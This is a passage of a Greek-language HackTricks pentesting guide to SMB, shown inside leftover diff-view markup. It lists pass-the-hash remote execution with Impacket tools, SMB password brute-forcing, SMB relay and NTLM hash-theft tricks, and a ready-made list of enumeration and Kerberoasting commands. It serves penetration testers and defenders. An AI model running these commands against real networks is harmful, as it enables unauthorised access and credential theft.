|
||||||
|
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||||
|
```
|
||||||
|
|
||||||
|
Χρησιμοποιώντας τη **παράμετρο** `-k` μπορείτε να πιστοποιηθείτε εναντίον του **kerberos** αντί για το **NTLM**.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#If no password is provided, it will be prompted
|
||||||
|
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
|
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||||
|
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||||
|
```
|
||||||
|
|
||||||
|
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||||
|
|
||||||
|
Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
|
||||||
|
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||||
|
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Impacket αναφορά
|
||||||
|
|
||||||
|
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||||
|
|
||||||
|
## **Δοκιμάστε με εξαναγκασμό τα διαπιστευτήρια των χρηστών**
|
||||||
|
|
||||||
|
**Αυτό δεν συνιστάται, μπορείτε να μπλοκάρετε ένα λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nmap --script smb-brute -p 445 <IP>
|
||||||
|
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||||
|
```
|
||||||
|
|
||||||
|
## Επίθεση SMB relay
|
||||||
|
|
||||||
|
Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να **καταγράψει τις συνεδρίες πιστοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία πιστοποίησης είναι επιτυχής**, θα σας μεταφέρει αυτόματα σε ένα **σύστημα shell**.\
|
||||||
|
[**Περισσότερες πληροφορίες για αυτήν την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
|
|
||||||
|
## SMB-Trap
|
||||||
|
|
||||||
|
Η βιβλιοθήκη Windows URLMon.dll προσπαθεί αυτόματα να πιστοποιηθεί στον κεντρικό υπολογιστή όταν μια σελίδα προσπαθεί να έχει πρόσβαση σε κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
|
||||||
|
|
||||||
|
Αυτό συμβαίνει με τις λειτουργίες:
|
||||||
|
|
||||||
|
* URLDownloadToFile
|
||||||
|
* URLDownloadToCache
|
||||||
|
* URLOpenStream
|
||||||
|
* URLOpenBlockingStream
|
||||||
|
|
||||||
|
Οι οποίες χρησιμοποιούνται από ορισμένους περιηγητές και εργαλεία (όπως το Skype)
|
||||||
|
|
||||||
|
![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (93).png>)
|
||||||
|
|
||||||
|
### SMBTrap χρησιμοποιώντας το MitMf
|
||||||
|
|
||||||
|
![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (94).png>)
|
||||||
|
|
||||||
|
## Κλοπή NTLM
|
||||||
|
|
||||||
|
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια πιστοποίησης SMB, επιτρέποντας την παρεμβολή του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να αποκωδικοποιηθεί εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [επίθεση SMB relay](./#smb-relay-attack).
|
||||||
|
|
||||||
|
[Δείτε: ntlm\_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||||
|
|
||||||
|
## Αυτόματες Εντολές HackTricks
|
||||||
|
|
||||||
|
```
|
||||||
|
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||||
|
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||||
|
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||||
|
|
||||||
|
Entry_1:
|
||||||
|
Name: Notes
|
||||||
|
Description: Notes for SMB
|
||||||
|
Note: |
|
||||||
|
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||||
|
|
||||||
|
#These are the commands I run in order every time I see an open SMB port
|
||||||
|
|
||||||
|
With No Creds
|
||||||
|
nbtscan {IP}
|
||||||
|
smbmap -H {IP}
|
||||||
|
smbmap -H {IP} -u null -p null
|
||||||
|
smbmap -H {IP} -u guest
|
||||||
|
smbclient -N -L //{IP}
|
||||||
|
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||||
|
rpcclient {IP}
|
||||||
|
rpcclient -U "" {IP}
|
||||||
|
crackmapexec smb {IP}
|
||||||
|
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||||
|
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||||
|
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||||
|
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||||
|
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||||
|
getArch.py -target {IP}
|
||||||
|
|
||||||
|
With Creds
|
||||||
|
smbmap -H {IP} -u {Username} -p {Password}
|
||||||
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||||
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||||
|
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||||
|
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||||
|
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||||
|
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||||
|
|
||||||
|
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||||
|
|
||||||
|
Entry_2:
|
||||||
|
Name: Enum4Linux
|
||||||
|
Description: General SMB Scan
|
||||||
|
Command: enum4linux -a {IP}
|
||||||
|
|
||||||
|
Entry_3:
|
||||||
|
Name: Nmap SMB Scan 1
|
||||||
|
Description: SMB Vuln Scan With Nmap
|
||||||
|
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||||
|
|
||||||
|
Entry_4:
|
||||||
|
Name: Nmap Smb Scan 2
|
||||||
|
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||||
|
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||||
|
|
||||||
|
Entry_5:
|
||||||
|
Name: Hydra Brute Force
|
||||||
|
Description: Need User
|
||||||
|
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||||
|
|
||||||
|
Entry_6:
|
||||||
|
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||||
|
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||||
|
Note: sourced from https://github.com/carlospolop/legion
|
||||||
|
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue